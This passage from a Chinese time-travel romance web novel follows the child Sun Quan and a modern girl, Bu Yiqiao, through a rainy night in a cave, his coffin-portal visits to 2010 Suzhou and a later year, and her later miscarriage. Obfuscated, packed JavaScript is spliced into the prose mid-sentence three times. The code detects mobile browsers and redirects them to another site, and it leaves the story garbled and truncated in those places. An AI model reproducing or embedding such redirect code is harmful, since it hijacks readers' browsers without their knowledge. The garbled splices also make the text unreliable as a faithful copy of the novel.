“我有弓箭在手,野兽不敢近身。” “是打雷!我们在树林里,会被雷劈的!” “正因如此,才更要快些到歇脚处去!”孙权的耐心在急速消耗,他试图强行拉她走。 “前面那么多树,很危险的!” 两人拉扯着僵持着,衣裳全被打湿,紧贴在身上。孙权从未如此焦躁过,冷静自持的性子只差一点便会乱了分寸。 他猛地回头,第一次在生人面前展现自己另一面。 “要么跟我走,要么在此听天由命!” 步一乔从未被如此凶过,本就害怕的心瞬间委屈极了,“哇”地一声哭出来,眼泪混着雨水决堤。 “呜啊啊啊————” 她这一哭,孙权只觉得额角青筋都在跳动。 讲道理不听,凶一句就哭! 他烦躁地“啧”了声,不再多费唇舌,直接转过身,不由分说在她面前半蹲下来,双手往后一抄,揽住她的腿弯,将人背到了自己背上。 七岁的孙权已开始习武,身形比同龄人挺拔,背起瘦小的步一乔轻而易举。 步一乔被这突如其来的腾空吓了一跳,哭声戛然而止,只剩下小小的抽噎。她下意识地搂紧他的脖子,将湿漉漉、还挂着泪珠的小脸埋在他同样湿透的肩背上。 “抱紧!”孙权低喝一声,迈开步子,朝着山洞的方向冲去。 耳边是呼啸的风声、震耳的雷声,还有身下少年急促的呼吸声。奇怪的是,步一乔因为打雷和迷路而产生的巨大恐惧,竟然被一点点被驱散了。 孙权可没心思感受背上的变化,他全部的力气和注意力都用在赶路上。雨水糊住了眼睛,泥泞溅满了裤脚,他心里只有一个念头:赶紧进山洞! 当他终于气喘吁吁地背着步一乔冲进那处低矮干燥的山洞,将她放在地上时,两个人都像是从水里捞出来的一样,浑身滴着水,面对面瘫坐着。 洞外依旧是倾盆大雨和电闪雷鸣。 步一乔盯着气喘吁吁的孙权,完全没了初见时小大人似的沉稳。 想到自己刚才的哭闹和被他一路背着的经历,她小声嗫嚅道:“对不起……” 孙权喘匀了气,抬起眼,看向一脸歉意、眼圈还泛着红的步一乔,摇了摇头。他想起自己刚才那声不受控制的低吼,耳根微微发热。 “我也失了态,不该凶你。抱歉。” 洞内陷入短暂的沉默,步一乔抱着膝盖,连续打了几个喷嚏。 孙权站起身,熟练地收集起洞里储备的干柴。 这里显然是猎户常来的地方,总备有干柴、干草堆和陶罐等。孙权掏出随身携带的火石,咔嗒几声,火苗燃起,驱散了洞内的阴冷与潮湿。 “靠过来些,穿着湿衣裳会染风寒。” 步一乔乖乖挪到火堆旁,伸手烤着火。温暖驱散了寒意,她偷偷抬眼打量对面的少年。火光在他脸上投下晃动的影子,那双过于沉静的眼睛此刻正专注地盯着火焰。 “你也才五岁吗?可你的样子,一点不像啊。”步一乔迟疑道。 孙权拨弄着火堆,道:“去年入冬时刚满七岁。” “七岁就已经会这么多了吗?我连字都认不全,拼音都会读错……”步一乔将冰冷的手靠近火堆。 孙权看了她一眼,道:“乱世将至,早些懂事总归是好的。” 步一乔似懂非懂地点点头,手还是僵冷得难受,又往前伸了点。 “小心烫着。”孙权出声提醒。 步一乔连忙缩回手,感觉幸运躲过伤害,对着孙权露出个带着酒窝的笑容:“谢谢孙权哥哥!” 孙权愣了一瞬,慌忙埋下头,藏起羞涩。 步一乔歪着头,好奇地打量着突然沉默的少年,不明白他为什么突然不说话了。 * 入夜渐微凉,雨势完全没有渐弱的意思。好在春季的衣裳不算厚,已经干得差不多。 步一乔抱着膝盖,看着洞口不间断的雨帘,愈发担忧。 “雨下得好大……爸爸找不到我,一定急坏了。” 孙权抬起头,他何尝不担心?兄长到家发现自己不见了,定会冒雨搜寻。但兄长是信任自己的,希望他不会冒险前行。 但看着眼前比自己更小的步一乔,对她的担心压过了对兄长的。 “幸好已是入春,入夜后不至太过寒凉。这雨势恐怕会持续到天明。兄长定然猜到我会在此躲雨,明日便会找到我们。” 步一乔轻轻“嗯”了一声,将下巴搁在膝盖上,继续望着洞外的雨。 两人坐在山洞两端,中间隔着火堆,保持着一段恰当的距离。 “孙权哥哥……平日喜欢做什么?” “读书。” “什么书?” “史书。兵书。” 步一乔发出惊叹,“孙权哥哥以后要当历史学家,或者文学家吗?” 孙权摇头,“会上战场,带兵打仗。” 这是父兄的期望,是家族的道路,也是他自幼被灌输、并逐渐认同的宿命。 步一乔似懂非懂,小声说:“好伟大的志向……不像我,连自己长大以后想做什么都不知道。老师让上台讲述梦想,我一个字也说不出来。” 孙权往火堆里添了根柴,道:“史书里什么都有。有将军打仗,也有文臣治国。有盛世繁华,也有乱世悲歌。” 步一乔歪着头想了想:“可那些都是过去的事,知道了有什么用吗?” “鉴往知来。读史,能让人明白兴衰成败之理。比如今日天下大乱,若能读懂前朝为何覆灭,便能知道该如何终结这乱世。” 说罢,孙权又想她必然听不明白,又换了说法。 “读一本史书,比听一百件琐事更有用。史书里记着的,皆是前人留下的智慧。” “感觉……很深奥的样子。” 步一乔双手托腮,望着跳动的火苗出神。过了好一会儿,才轻声说:“那……我也去读史书!说不定,就有想法了呢!” 尽管后来的步一乔将此夜忘得干干净净,却记住了“读史书”,高考填报志愿时,毅然选择了历史系。 * 火堆里的柴火烧去大半,步一乔的小脑袋一点一点的,眼皮不住地打架,却还强撑着不肯闭上。 “去里面的草堆睡吧。”孙权指了指山洞深处铺着的干草。 步一乔揉了揉眼睛,望向黑黢黢的山洞深处,含糊道:“那里好黑……我害怕。” 孙权看着她困得摇摇晃晃,却还强撑的模样,想起母亲哄弟弟睡觉时的样子。他沉默片刻,起身牵上步一乔的手,走到草堆旁,将自己的外袍铺在上面。 “我就守在此处,你安心睡吧。” 步一乔打了个大大的哈欠,揉着惺忪的睡眼问:“孙权哥哥你不困吗?” “嗯,不困。我会保护你的,睡吧。” 步一乔这才乖乖爬到草堆上躺下,却还是不肯闭上眼,呆呆地望着他。孙权被她看得有些不自在,只得又往火堆里添了些柴,让火光更亮些。 “孙权哥哥不会突然离开,一直在,对吗?” “嗯。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738842|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >得到承诺的步一乔终于安心闭上眼睛,不一会儿就传来了均匀的呼吸声。 孙权端坐在石头上,听着洞外渐止的雨声和身旁平稳的呼吸声,视线终于忍不住落向步一乔的侧脸。 “忘记问她家住何方。罢了,待她醒来后再问也不迟。” 若是一方权贵,若能结两姓之好……未尝不可。 然而,不小心打起瞌睡的孙权没能在步一乔醒后问到。 步一乔消失了。 准确说,在睡梦中回到了现代。步爸打着手电,踉跄着扑到坟冢前,将躺在地上熟睡的女儿紧紧抱进怀里 “一乔!可找到你了!吓死爸爸了!” 步一乔被爸爸的哭声惊醒,茫然地环顾四周。待看清身处何地,焦急地寻找起什么。 “孙权哥哥呢?他怎么不在?” “孙权?”步爸诧异地擦着眼泪,“一乔是不是做噩梦了?” “做梦?不会啊,孙权哥哥还把外套脱下来给我垫着睡——” 冰冷的地面空无一物。哪有什么外袍,什么火堆,身旁只有奶奶的墓碑。 “不见了……孙权哥哥……都没跟我说声再见……” 步爸看着女儿失魂落魄的模样,只当她是被吓坏了,连忙将她抱起往山下走。 到家后,为了安抚女儿,翻出乡野传说,反复讲述,才让步一乔以为,那是自己做的梦,从记忆中模糊。 而千年之前,在天亮后醒来的孙权,看到空荡的山洞和一件孤零零铺展的外袍,内心百感交集。 更多的,是失落。 她……该是被家人寻到,接回家去了吧。连道别都没有……是见他睡着,不忍打扰么?但愿她平安到家才好。 “仲谋!仲谋!!!” 洞外传来孙策焦灼的呼喊。 孙权循声望去。孙策火急火燎地跑来,扑到他面前,双手紧紧抓住他的肩膀,上下仔细检查可有伤着。 “不是叫你循路回家吗!怎么跑到这山洞里来了!可知我与母亲彻夜有多忧心!” “抱歉,让兄长担心了。我……不小心迷了路。” “迷路?你??” 孙策打死也不信这套说辞。谁都可能迷路,就他孙权不可能。 他心中疑窦丛生,却见弟弟一副不欲多言的模样。孙策深吸一口气,将满腹疑问暂且压下,用力揉了揉孙权的头发。 “罢了,人没事就好。饿不饿?我给你带了些糕点,先填肚子。” “嗯,饿。” 向来冷静自持的弟弟,此刻的声音里竟带着委屈。孙策掏糕点的手顿住,看着孙权脸上那抹罕见的落寞,心头疑云愈发浓重。 “仲谋,跟兄长说实话,昨夜究竟发生了什么?” 孙权只是摇头,目光落在空荡的草堆上,有些失神。 “兄长上山时,可有撞见什么人下山?” “什么人?”孙策被问得一愣,随即肯定地摇头,“不曾。这大清早的,除了搜寻你的家仆,山里连个樵夫都未见着。” “嗯……”孙权低低应了一声。 孙策瞧出了什么,终究没有再追问,只是将尚带体温的糕点塞进孙权手中。 “走吧,回家。” * 书房中,孙权与好友朱然捧着书卷阅读。读到山鬼时,孙权罕见走了神,被朱然察觉。 “仲谋?”朱然轻唤。 孙权回过神,忽然轻声问了一句看似不相干的话:“义封,你相信……有人能凭空消失吗?” 朱然一时怔住,而孙权已垂下眼帘,叹了口气。自那日山中夜宿后,孙权常常走神,朱然私下也思索过缘由。 “仲谋,那日你是否在山中,遇见了某位少女?” 孙权惊愕地看向朱然。 “此话怎讲?” 朱然点了点他手中的《九歌》山鬼篇中那句描绘,道:“若你真遇见什么……或许并非凡人,而是循着春日前来与心上人相会的山鬼。时限一到,自然便要离去。” 孙权想起那个雨夜,少女奇特的发辫,不曾见过的衣衫,还有那双映着火光的眼眸。 朱然见他这般情状,心中已明白大半,最后添上一句:“古籍有载,山鬼慕人间情爱,常化身少女与有缘人相会。只是人神殊途,从无结果。” 孙权垂眸不语。若她真是山鬼,那场雨夜相遇,莫非真是精怪戏弄? “不过,为何是我?我是……她的心上人?” 61. 云梦 七岁的孙权第一次对神鬼传说产生好奇。 朱然看着他眼中罕见的困惑,没有立刻回答,执起案上温热的茶盏,待孙权抬眼望来,他才缓缓开口: “《山鬼》篇中言,山鬼所思慕的,是值得她‘折芳馨兮遗所思’的君子。纵观庐江上下,你孙仲谋必是数一数二的君子啊。” 朱然顿了顿,看着好友逐渐紧蹙的眉头,狡黠一笑。 “暴风雷雨、深山密林、孤男寡女,依我看,这哪里是邂逅,分明是山鬼特来考验你的心性呢。” “考验?”孙权下意识重复,脸上浮现不快,“就是把人急躁得冲她凶了一句吗?” “啊?你凶她了?五岁的小姑娘?你??” 朱然怎会相信从来淡然老成的孙权会对一个初次见面的小姑娘失态?但孙权不会说谎,看来是真的。 “雨势太大,我拉她去山洞避雨,她怕雷劈中,僵持着不肯挪步。” “怕雷劈中古树……这倒不像精怪会担心的事。”随即朱然眼中闪过了然,“所以你并非真的动怒,只是担心她在雨中久站会着凉?” “我……不知。” 孙权也忘了自己当时出于何种心理,为何急躁、为何担心,分明遇见她直接带下山送回家便好的,非要同她寻什么从未见过的墓碑。最后,甚至连道别都没有,不告而别。 朱然忽然轻笑:“她作何反应?” “哭了,哭得很伤心。”孙权合上书卷,换了一卷展开,“我也是无奈之举。” “仲谋当真觉得是无奈?” 孙权沉默。雨幕中那张泪痕交错的脸格外清晰,以及自己脑袋空空背上她狂奔的记忆。 他垂眸看着自己的手,回想着牵住她手的触感。软软的,小小的。 “此事到此为止,专心念书。”说罢,孙权真就专注回书卷上,再不提此事。 朱然轻笑着摆首,道:“这山鬼着实狡猾,仲谋可得小心了。小心此生掉进她的陷阱,爬不出来哟。” “还有一点你可得注意了。”朱然又道,“山鬼指不定是男是女,之前是女子,之后再来寻你,或许就变成男子呢。” 孙权没把朱然的话放心上,不告而别的是她,他为何要记下? * 次年,春末夏初,蝉鸣初噪。孙氏由庐江搬迁至吴郡,少年也彻底打消了再见到少女的念想。 孙府东厢的书房里,八岁的孙权对着摊开的《左传》蹙紧了眉头。 “中了!看戟!” 孙翊挥舞着木戟从案前掠过,两岁的孙匡跟着比划,咯咯地笑个不停,抱着个布球,两兄弟你追我赶满屋乱窜。 孙策虽未参与打闹,却正与几位家将围坐在沙盘前,高声研讨,声如洪钟。 “去他娘的董卓!等我爹的军队日益壮大,看他能嚣张到几时!” “兄长你看我!像不像爹爹上阵杀敌的样子!” 孙策看着昂首挺胸的孙翊,一巴掌拍在弟弟后背。 “特别像!颇有你兄长的风范!继续努力!励志将兄长打趴下!” “是!我一定把兄长打得哭天喊地!” “兄长!我!我!” 两岁的孙匡也想被夸,孙策见状将人举过头顶、抛到空中又落下。 “兄长看看啊,嗯——咱们阿匡要不换个模范?要不学你二哥,做个读书人?” “二哥!好!” “但可不能学你二哥小小年纪就老气横秋,小心没姑娘喜欢。” 一片喧嚣中,孙权试图将注意力放回字句间,却发现那些墨字仿佛活了过来,与眼前的刀光剑影混作一团。 他揉了揉眉心,终是合上了竹简。 “欸?仲谋去哪儿?”孙策看着人一言不发的出门,默认是去茅房,没再追问。 抱着书卷悄然退出书房,孙权沿着回廊缓步而行。习武场有士兵操练,西园有侍女采桑,竟寻不着一处清净地。不知不觉间,他走到了后院最深处。 荒草渐深,一间废弃的柴房半掩着门。他正欲转身离开,脚下却忽然一空。 “啊!” 年久腐朽的木地板应声而裂。孙权反应极快,单手撑住边缘,整个人悬在半空。低头望去,脚下竟是一条向下的石阶,隐没在幽暗之中。 “地牢?何时修的?从未听说过。” 拍了拍衣袍上的灰尘,孙权就近去到膳房点了盏灯,俯身钻了进去。 石阶阴冷潮湿,深不见底。走到尽头,孙权看着不大的暗室内居然摆着一方棺椁,不由瘆得慌。 “地牢里为何会有棺椁?” 好奇心驱使他走近细看,伸手轻推棺盖,发现竟没有钉死。 “人死以后便无知觉,也不知躺进棺椁是何感觉……” 一股莫名的冲动让少年做出了大胆的决定。 孙权翻身躺进棺内,顺手将棺盖合上。 “除了黑点,好像也没什么——” 话未说完,一阵剧烈的眩晕突然袭来。他下意识地捂住口鼻,另一只手急忙去推棺盖,却发现刚才还能轻松移动的木板此刻竟纹丝不动。 “怎么回事?!” 恐慌如冷水浇头。他改用双手奋力向上推举,棺盖却像被钉死一般。改用拳头捶打,用脚蹬踹,厚重的木板只发出沉闷的响声,纹丝不动。 “来人!有人在上面吗?” 然而地牢深处的位置决定了,即便他喊破喉咙,声音也传不到地面。 时间在黑暗中变得模糊。空气渐渐浑浊,他开始感到胸闷,眩晕感愈发强烈。 “难道要死在这里?” 好在异感并未持续太久,当一切归于平静,孙权再去推棺盖,竟又顺利打开了。他顾不上细想,一刻不停地跑出地牢,必须立刻将此事告知兄长。 可是…… “我们现在看到的就是孙氏旧址纪念馆中最特别的地方,地牢。为什么孙坚将军会在自家修建地牢呢?这里不得不另一个人,那就是孙坚的大儿子,孙策。” 一个梳着高马尾、穿着奇异短装的女子,脖子上挂着个发光的牌子,领着一群衣着古怪的男女老少从他面前走过。那些人手里拿着会发光的小板子,不时对着四周“咔嚓”作响。 孙权惊恐地发现,他熟悉的孙府变得面目全非。 他们认识父亲和兄长?我为何不认识他们?这些人的穿着打扮,为何如此奇怪? “孙策少年时就展现出卓越的军事才能。可惜英年早逝,年仅二十六岁——” “什么?” 孙权惊讶地望着说话的导游。整个旅行团齐刷刷地看向这个穿着古装、束发戴冠的男孩。导游小姐愣了一下,随即露出职业微笑。 “是和家人走丢了吗?可以到前面的游客中心寻求帮助哟。” “……?” 导游见他穿着汉服,发冠整齐,以为是参加纪念馆汉服活动走散的小学生,便蹲下身与他平视:“那你先暂时跟着我们吧,待会儿我带你去找爸爸妈妈。” 年少的孙权没多言,懵懂地跟在导游身侧。他需要弄清楚这究竟是怎么回事。 “我们继续参观。” 导游站起身,重新举起小旗。 “刚才说到孙策二十六岁遇刺后,预感到自己时日将至,便与周瑜等人商讨继承人的事情。这个时候张昭站出来提议说,推举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16750049|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙策的三弟孙翊继承。因为四兄弟中,孙翊的性子是最像孙策的,而孙权和他们完全是截然相反。” 孙权倏地抬头,小手不自觉攥紧衣角。张昭是谁?瑜兄与兄长重逢了?不过三弟性子确实随了兄长。 “所以当孙策提出孙权的名字时,所有人都是反对的。觉得孙权性子太稳重,不适合。孙氏打下江东六郡靠的是武力,综合多方考虑,孙权确实不合适。” 八岁的孙权脚步顿了下,内心复杂。导游的一字一句他都听清了,也大概明白说的什么,但却那么不真实。 “但孙策毅然决然决定是他这个二弟,他说:‘举江东之众,与天下争衡,卿不如我;举贤任能,各尽其心,我不如卿。’交代完后就与世长辞。” 这究竟是何年何月之事?兄长眼下不过十五,父亲也健在,她所说的是杜撰编造,还是……确有其事? 孙权环顾四周,看着衣着古怪的人群,看着被改造得面目全非的孙府,突然想起方才在棺椁中那阵诡异的眩晕。莫非……这里已不是他熟悉的那个时代? “小朋友?”导游注意到他的异样,“是不是哪里不舒服?” 孙权抬起头,稚嫩的脸上是与年龄不符的凝重:“请问……如今是何年号?” 导游被问得一愣,随即失笑:“今年是2010年啊。你这孩子真是入戏太深了,不过前途有量!演得很棒!” “貳零……两千零一十吗?”孙权喃喃重复,脑中飞速计算着。 “这不是……一千八百二十年后?!” * 导游送走旅行团后,领着孙权去往游乐中心,倒了杯热水给他。 “还好吗?刚才脸一下煞白,吓死我了。” 孙权道谢双手捧着温热的水杯,斟酌片刻后道:“敢问,兄长——孙策他,是如何离世的?” “在丹徒狩猎时遭突袭射伤,伤势恶化而亡。”导游轻叹一声,“唉,太可惜了!年仅二十六岁,正是建功立业的好年纪。” “丹徒……狩猎?” “是啊,建安五年四月四日,孙策在丹徒西山打猎时,被许贡的门客用箭射中面颊……” 后面的话孙权已经听不清了。 建安五年。十年之后。 “若有人提前知晓了这一切……可能改变吗?”孙权问道。 导游只当他在讨论历史,笑答:“历史哪有什么如果。吴国能在三国鼎立中占有一席,孙权的功劳可不小。如果是孙策……这可就说不准了。” “为何说不准?孙策有勇有谋、众望所归,为何不行?” “孙策确实勇猛,但治国光靠勇猛可不够。” 导游并未察觉男孩的异样,继续说着。 “就像他自己说的嘛,治理江东,孙权比他更合适。要我说啊,孙策最大的功绩,就是选对了继承人。” 孙权手中的水杯微微一颤。热水溅出来烫到手背,却浑然不觉。 导游笑着补充:“不过孙策活下去也未必不可。有周瑜张昭辅佐战事,孙权替他治理后方,吴国说不定真有可能战胜曹操,天下统一呢。” 孙权放下水杯,突然站起身:“多谢相告。我……该回去了。” 导游本想提醒他别乱跑,可少年步履如风,转眼已不见人影。 他必须回去。 不仅要阻止兄长的悲剧,更要向所有人证明:即便兄长在世,他孙权,也足以辅佐他共筑江山,成就千秋大业。 他快步穿过纪念馆后院,正要跨过拱门,不慎撞上一名擦肩而过的少女。他匆匆道歉,抬头却对上一双难以置信地望着他的明眸。 “孙权……哥哥?是你吗?” 62. 标题 “孙权……哥哥?是你吗?” “你怎会——” 原本已是快要被自己忘却的山中鬼神,如今却出现在眼前,且是在千年之后。 也是梦吗?也是山鬼化身吗? “一乔!怎么了?” 步爸走来,看见俩孩子震惊地望着彼此,以为是学校的同班同学, “想不到来苏州旅游也能遇见同学?在班上有好好相处吗?” “孙权哥哥不是同班同学,是——” 步一乔自己也说不上是什么,因为爸爸的故事告诉她,他是山野传说。而且刚才讲解员的故事中,也有一个叫孙权的古人。 她望着眼前既熟悉又陌生的少年,一时语塞。 步爸看着女儿语塞的模样,又打量了一下眼前这个气质沉静得不像少年的男孩,笑着打圆场:“不是同学啊?那就是在这边新认识的朋友咯?小孩子交朋友就是快。” 孙权迅速收敛了眼中翻涌的情绪,对着步爸微微颔首。 如此庄重的礼节让步爸一怔,随即朗声笑道:“我去买水,你们可不许乱跑。” 待步爸离去,庭园寂静,只剩两人相对。 “孙权哥哥那天为什么突然离开啊?还把我带回奶奶旁边?” 孙权不知如何回答。该告诉步一乔自己来自一千多年前,不是他突然离开,而是不知如何闯入东汉末年的步一乔,自己凭空消失的?太荒唐,连他自己都无法认同。 “此处是……苏州?”孙权转移了话题。 “孙权哥哥是苏州人吗?我以后……还能再见到你吗?” “非也。”他轻轻摇头,“我并非苏州人士。” “这样啊……”步一乔难掩失落,轻声道,“我还想着,以后要考来苏州读大学,就能常来找你讨论历史了。” “历史?” “嗯!自从那天遇见你之后,我就下定决心,以后要报考历史系!” 孙权沉默着,没有回应。 虽然没明白她说的什么意思,不过孙权明白了一点,初见那日的事情,她都记得。 心底泛起点点喜悦。 “孙权哥哥……真的是我记忆中那个山里的哥哥吗?”她小声问道,生怕吓跑了眼前这个如梦似幻的存在。 “还有你的名字。居然和三国时期的那位吴皇帝,一模一样。” “在下……不知姑娘所谓何事。” 步一乔见孙权心事重重的样子,沉迷良久后,终于鼓起勇气追问:“那……我以后去哪里找你?” “你想……找我?” 步一乔重重点头:“我想和孙权哥哥交朋友!谢谢那天救了我,也谢谢你……改变了我。” 晚风拂过庭树,叶声簌簌。两个本该错位的时空,再次悄然交织。 八岁的孙权看着六岁的步一乔,忽然回忆起了山野清晨醒来后的怅然若失。 “我也……”他顿了顿,声音轻了下来,“我们注定无法再相见。愿姑娘……自此相忘。” 孙权话音落下的瞬间,步一乔的眼眶倏地红了。 “为什么?”她倔强地仰着小脸,“是因为那天,我惹你生气了吗?” 孙权望着她泫然欲泣的模样,小手在袖中悄悄握紧。 断不可继续停留,否则,他真会做出什么惊世骇俗之事。 他倏然起身,背对着她。 “愿姑娘此生岁岁安康。你我,就此永别。” 他迈步欲走,衣袖却被一只小手轻轻拉住。那力道很轻,轻得他稍一用力就能挣脱,却让他寸步难行。 孙权没有回头,步一乔失落地望着他的后脑勺。 “上次没能好好道别,这次……孙权哥哥,永别。” 衣袖松开了。 孙权强忍着回头的冲动,快步离去,重返初平元年的地牢。 他们本是两个时空的人,注定无法再相见。道一声永别,是对的。 他在心底一遍遍劝说自己,甚至耻笑自己竟曾有过弱冠之后,要让母亲去步氏提亲的念头。 “我定是读书……将脑子读坏了。” 孙权背靠着冰冷的石墙,缓缓坐下。袖口似乎还萦绕着那孩子指尖的温度,眼前却已是昏暗现实。他闭上眼,步一乔红着眼眶倔强仰脸的模样,清晰得刺目。 “荒唐……我怎可做如此荒唐之事。如今乱世,家国为重,必须将一切忘记。” 忘记江东之后将会发生的事,以及,她。 ————十年后———— 建安五年(200年),吴郡。 初夏之际,已有热意,却远不及孙权心头的冷意。 孙策骤然而逝已三月,象征着权力与责任的印信握在手中沉甸甸的。十八岁的孙权感到前所未有的压力。案头堆积的竹简,全是江东六郡潜藏的危机。 他收起一封来自庐江的密函,字里行间皆是太守李术阳奉阴违、蠢蠢欲动的迹象。这不是第一封,也不是最后一封。孙权长长叹了口气,揉按着太阳穴,试图驱散几乎要将头颅撕裂的胀痛。 “主公,夜深了,去歇息吧,身子要紧。” 周瑜娴熟地舀了一勺热气腾腾的酒液,注入杯中,奉到孙权面前。 孙权接过,只是仰头一饮而尽。温热的液体滑过喉咙,未能驱散胸中的块垒。 “庐江动乱之事,迟迟无法安定,李术其心叵测,我……实难安寝。” “动乱并非一朝一夕,自伯符离去三月内,内部,宗族旧部暗流涌动,山越部族频频作乱;外部,北有强曹虎视,西有刘表、黄祖宿仇未雪。正是关键时期,仲谋务必保重身子啊。” 此刻周瑜不止是辅佐主公的都督,更是自小相识的兄长。 孙权沉默着,目光投向窗外无边的黑暗。兄长的托付,群臣的观望,敌人的环伺,一切都将他紧紧缠绕。他知道自己必须尽快在这片惊涛骇浪中,坐稳自己的位置。 “公瑾兄,我知晓了。” 周瑜告别回府后,孙权又撑着处理了会儿公务,直至夜深才起身回房。奈何今夜无眠,放空回神时,人无意间走到了后院地牢前。 能穿越时空的棺椁。八岁以后,孙权再没进去过。将来等同于天机,而天机不可泄露。他尊崇的教诲告诉他,一步一脚印,知晓结局又如何?例如他曾试图改写兄长的命运,也功亏一篑。 而当时年少时经历的一切,去往千年后发生了什么,记忆只剩下那个关系江东的结局。 如今,也已明了。 孙策去世,孙权接替其位,掌管江东。 他需要希望,哪怕只是看一眼。两年后的江东,两年后的乱世是何模样。 “建安七年……我只想看到,兄长的仇,是否报了。” 孙权躺入棺椁,低声自语。 一阵剧烈的眩晕与撕扯感瞬间淹没了他,又在下一刻被猛地抛掷而出。走出地牢,一切照旧。 他如同暗夜中的影子,凭借对自家府邸的熟悉,避开可能的人迹,一路潜行至议事厅外。厅内漆黑一片,寂静无声。他侧耳倾听片刻,确认无人后,才轻轻撬开窗棂,敏捷地翻身而入。 主位案几上是张摊开的巨大帛图。孙权快步上前,借着月光,俯身细细看去。 是江东的疆域图。 心脏在胸腔里沉重地跳动起来。 他的手指有些颤抖,急切地寻找着。庐江郡已彻底纳入江东版图。再看桌上的文书,孙权快速推断出攻下庐江的时间。 “还需一年……只需一年。” 兄长,再等我一年,庐江终会回到江东手中! 孙权继续在地图上逡巡。山越各部的活动区域被更明确的边界线标示,一些关键的隘口处新建了屯兵点。北境与曹操势力接壤的防线, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这荒郊野岭,怎会有人?孙权心中疑惑,下意识缩身躲避,脚下却突然一滑! 树枝断裂的声响和他短促的惊呼混杂。天旋地转间,他狼狈地摔下树来,后背和臀部传来结结实实的疼痛。 孙权蹙眉抬头,视线正好撞上一双睁大却清澈如秋水的眼眸。 他忘记了起身,忘记了疼痛。周遭的虫鸣、风声、树叶的沙沙声,都褪去。视野之中,唯有这双眼睛,以及透过枝叶缝隙、恰好落在她周身的朦胧光晕,让她不似凡尘俗物。 从未有过的情愫沸腾,似林深有鹿来,怦然心动。 “这位……少侠?公子?天上掉下个林妹妹我见过,掉下个帅哥哥还是头一回。” 孙权没完全听懂眼前女子的话,脸上掠过红晕,却不恼怒,抱拳一礼。 “惊扰了姑娘,实在抱歉。姑娘也是迷路至此吗?” “迷、路??”女子挑眉,指了指茂密的树冠,“从树上迷下来的吗?” 孙权略显尴尬,随即镇定自若道:“在下的马受惊跑丢,方才在树上是为了眺望寻马。” 女子将信将疑,但被他故作深沉的模样逗笑。 “那你找到你的马了吗?” 孙权摇头,又问:“姑娘为何独自在此?这荒山野岭……小心野兽出没。山下又村庄,入夜可去那边寻个落脚点。” “我说我是从天上掉下来的,你信吗?” 没缘由的,孙权忽地想起了年少时,与朱然谈论山鬼的故事。眼前的女子,莫非同当年一样,也是山鬼化身? 孙权正陷入回忆,眼前的女子却忘了礼数忽然凑近,狡黠一笑。 “请问公子,若我说……想与你春宵一度,又该如何作答?” 63. 粼粼 吴夫人在侍女的搀扶下缓步来到厢房。她挥手屏退左右,独自走到榻前。 步一乔维持在一动不动的姿势靠在软枕上,连吴夫人走近都未曾察觉。 “孩子,身上可还疼得厉害?” 见步一乔没有反应,吴夫人直接坐在榻边,伸手探向她的额头。 “烧算退了些,真是可把我吓坏了。”她收回手,略松了口气,“还有仲谋,你晕厥时疼得直发抖,那孩子急得脸色发白,我瞧他差点就要跟着晕过去。” 步一乔的眼珠子动了一下。 “孙权……” “军务紧急,很快就回来。”吴夫人俯身,替她掖紧被角,“我知道你心里苦。这孩子许是太想念他亲爹,急着去寻了呢,急着尽孝心呢。” 步一乔当初留在孙府的托词,是与亲人逃难时失散、生死未卜。孙家见她孤苦无依,这才收留。谁知住下不久便出了这样的事,吴夫人自然以为步一乔腹中的孩子,是她那“失踪的前夫”所留。 听了这番话,步一乔并未多言,目光仍不由自主地飘向门口,盼着那个想见的身影。 “孙权……” “你既进了孙家的门,就是孙家的人。好好将养身子,其余的事,自有我为你做主。”吴夫人轻轻握住步一乔的手,“等抓住了那贼人,我定亲手剥了他的皮!” 门外便传来脚步声。帘栊一动,孙权高大的身影出现在门前,风尘仆仆。他侧身让跟进来的老大夫上前诊脉,自己则站在原地,目光落在步一乔苍白的脸上。 步一乔原本黯淡的眸子倏地点亮。 吴夫人将一切尽收眼底,嘴角弯起。她不动声色地站起身,拍了拍步一乔的手背。 “瞧瞧,说着说着不就回来了?我去看看灶上给你炖的补药好了不曾。” 说罢,吴夫人朝孙权递去一个意味深长的眼神,便带着一身从容,悄无声息地退出了厢房。 老大夫在榻前坐下,三指轻按在步一乔纤细的手腕上。孙权未走近,但目光始终不离步一乔。 “姑娘可还觉得哪里疼痛难忍?” “没……” 老大夫收手诊脉完毕,面色凝重地请孙权移步廊下。 “主公,步姑娘是服了药性酷烈的滑胎之物,以致血崩。腹中胎儿……已是无力回天了。” 孙权负手而立,身形在廊下极为稳重丝毫不乱,唯有手紧握成拳,青筋暴突。 “胎儿,有多久了?” “从脉象推断,约莫月余。只是药性酷烈,不仅伤了胎儿,更重创姑娘胞宫,今后……只怕难再受孕。” 月余。孙权眼前闪过与步一乔“真正”相处时间的月余前,是江夏客栈那夜吗? “全力医治,用最好的药,一切以保住她性命为主。” “是。” 